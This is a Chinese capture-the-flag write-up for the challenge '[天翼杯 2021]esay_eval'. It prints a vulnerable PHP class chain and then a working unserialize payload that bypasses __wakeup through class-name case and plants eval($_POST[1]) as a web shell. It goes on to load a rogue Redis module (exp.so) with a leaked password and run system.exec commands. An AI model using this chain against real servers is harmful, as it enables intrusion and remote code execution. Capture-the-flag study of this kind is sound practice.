题目:[天翼杯 2021]esay_eval(反序列化,主从复制,rce,redis)
题目:[天翼杯 2021]esay_eval(反序列化,主从复制,rce,redis)
打开靶机:
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
反序列化,并且注意wakeup的绕过,一般改个数字就行
注意匹配的是大写字母,而类的名称大小写即可,于是可以绕过。
<?php
highlight_file(_FILE_);
class a{
public $code='eval($_POST[1]);';
}
class b{
}
$a=new A;
$b=new B;
$b->a=$a;
echo (serialize($b));
得到结果:
O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:16:"eval($_POST[1]);";}}
地址栏加入(引号改为%22,不然我蚁剑连不上,我也不清楚为什么):
?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}}
使用蚁剑:

在config.php.swp的末端发现Redis密码———you_cannot_guess_it,猜测是Redis提权
先在有权限的目录上传一个exp.so文件:
exp.so文件地址:https://github.com/Dliv3/redis-rogue-server

用蚁剑连接Redis:



点击执行命令,然后执行以下命令:
MODULE LOAD /var/www/html/exp.so
system.exec "ls"

到这里提权就成功了,然后输入:
system.exec "cat /f*"
得到flag:


浙公网安备 33010602011771号